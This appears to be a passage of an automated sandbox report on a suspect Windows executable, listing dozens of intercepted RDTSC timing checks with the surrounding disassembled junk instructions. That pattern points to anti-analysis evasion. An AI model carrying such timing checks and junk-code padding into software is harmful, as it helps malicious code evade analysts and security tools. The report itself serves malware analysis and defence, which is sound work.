Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EBB4C second address: 9EBB50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EF591 second address: 9EF595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFAEA second address: 9EFAFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E537Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFAFB second address: 9EFB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFB05 second address: 9EFB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEAC13E5376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFB0F second address: 9EFB13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFFBC second address: 9EFFC6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEAC13E5376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F00F6 second address: 9F00FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0508 second address: 9F0511 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0666 second address: 9F067C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007FEAC0C3566Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F497C second address: 9F4980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4CA7 second address: 9F4CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FEAC0C35666h 0x0000000a jmp 00007FEAC0C35676h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5582 second address: 9F5598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEAC13E5382h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4698 second address: 9F46BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Eh 0x00000007 push eax 0x00000008 jmp 00007FEAC0C3566Bh 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F46BB second address: 9F46ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f pushad 0x00000010 jg 00007FEAC13E5376h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007FEAC13E5383h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8FAD second address: 9F8FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC0C35674h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8FC8 second address: 9F9006 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEAC13E5378h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FEAC13E5380h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007FEAC13E537Ah 0x00000019 jmp 00007FEAC13E5386h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDC13 second address: 9FDC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC0C3566Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEFF6 second address: 9BF001 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FEAC13E5376h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF517 second address: 9BF51D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF51D second address: 9BF52F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEAC13E5378h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF52F second address: 9BF533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF7C0 second address: 9BF7DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], esi 0x00000009 mov edx, dword ptr [ebp+122D2C72h] 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 jc 00007FEAC13E5376h 0x0000001a popad 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFF74 second address: 9BFF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFF78 second address: 9BFF92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5382h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0212 second address: 9C02AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C3566Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FEAC0C35668h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 call 00007FEAC0C3566Ah 0x0000002b xor dword ptr [ebp+122D3A02h], ecx 0x00000031 pop edx 0x00000032 lea eax, dword ptr [ebp+12472C52h] 0x00000038 call 00007FEAC0C3566Ah 0x0000003d jmp 00007FEAC0C35671h 0x00000042 pop ecx 0x00000043 mov cx, 1B9Fh 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c push ebx 0x0000004d pop ebx 0x0000004e popad 0x0000004f pop edx 0x00000050 mov dword ptr [esp], eax 0x00000053 push ebx 0x00000054 push edx 0x00000055 mov dword ptr [ebp+122D1A88h], edx 0x0000005b pop ecx 0x0000005c pop edx 0x0000005d lea eax, dword ptr [ebp+12472C0Eh] 0x00000063 mov edi, dword ptr [ebp+122D2A7Ah] 0x00000069 nop 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d jnc 00007FEAC0C35666h 0x00000073 ja 00007FEAC0C35666h 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C02AD second address: 9C02B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C02B2 second address: 9C02CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC0C3566Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C02CB second address: 9C02D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDED0 second address: 9FDED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDED4 second address: 9FDF41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5386h 0x00000007 jmp 00007FEAC13E5386h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FEAC13E5388h 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FEAC13E5388h 0x0000001b jmp 00007FEAC13E537Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE53C second address: 9FE542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE542 second address: 9FE546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE546 second address: 9FE55A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FEAC0C3566Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE55A second address: 9FE560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE560 second address: 9FE564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE6E8 second address: 9FE6FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FEAC13E5376h 0x0000000f je 00007FEAC13E5376h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE88D second address: 9FE892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04E85 second address: A04E89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03DF0 second address: A03E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEAC0C3566Bh 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FEAC0C3566Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03F49 second address: A03F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03F4D second address: A03F57 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEAC0C35666h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04386 second address: A0439C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEAC13E5376h 0x0000000a js 00007FEAC13E5376h 0x00000010 popad 0x00000011 pop edx 0x00000012 push ebx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0439C second address: A043A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0479F second address: A047AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FEAC13E5376h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A047AD second address: A047B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A047B5 second address: A047BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CABC second address: A0CADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FEAC0C35673h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978257 second address: 97827A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC13E5389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97827A second address: 97827E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97827E second address: 978282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F161 second address: A0F174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FEAC0C3566Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F174 second address: A0F179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F179 second address: A0F1B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35677h 0x00000007 pushad 0x00000008 jmp 00007FEAC0C3566Fh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 jnc 00007FEAC0C35666h 0x0000001c push edx 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F1B5 second address: A0F1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEAC13E537Ah 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007FEAC13E5376h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 je 00007FEAC13E537Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F439 second address: A0F455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FEAC0C3566Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F455 second address: A0F462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FEAC13E5376h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F5ED second address: A0F63D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FEAC0C3566Eh 0x0000000c jbe 00007FEAC0C35666h 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 jmp 00007FEAC0C35675h 0x0000001a jl 00007FEAC0C35666h 0x00000020 push eax 0x00000021 pop eax 0x00000022 popad 0x00000023 popad 0x00000024 pushad 0x00000025 push ebx 0x00000026 jne 00007FEAC0C35666h 0x0000002c pop ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FEAC0C3566Fh 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F63D second address: A0F641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10F55 second address: A10F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1619A second address: A1619E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A162DF second address: A162F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC0C3566Ch 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A162F0 second address: A162F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1645E second address: A16464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16809 second address: A1681C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FEAC13E5376h 0x0000000d jl 00007FEAC13E5376h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B17 second address: A19B2A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEAC0C3566Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B2A second address: A19B34 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEAC13E5376h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B34 second address: A19B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d je 00007FEAC0C35666h 0x00000013 jp 00007FEAC0C35666h 0x00000019 popad 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B51 second address: A19B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E5383h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F425 second address: A1F429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F429 second address: A1F432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F432 second address: A1F43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F43A second address: A1F440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F440 second address: A1F44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E03F second address: A1E045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E045 second address: A1E049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E049 second address: A1E053 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E053 second address: A1E059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E059 second address: A1E080 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEAC13E5376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEAC13E5389h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFC6D second address: 9BFC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFC71 second address: 9BFC75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFCF0 second address: 9BFCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFCF4 second address: 9BFCF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E58A second address: A1E58E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2470C second address: A24710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24710 second address: A2472D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEAC0C35679h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24171 second address: A24175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24175 second address: A24183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24183 second address: A24188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24188 second address: A241A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEAC0C35675h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2BA7F second address: A2BAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEAC13E5388h 0x00000009 popad 0x0000000a push esi 0x0000000b je 00007FEAC13E5376h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29BAC second address: A29BD6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEAC0C3567Fh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29BD6 second address: A29BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29BDB second address: A29BED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007FEAC0C35666h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FEAC0C35666h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29BED second address: A29BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
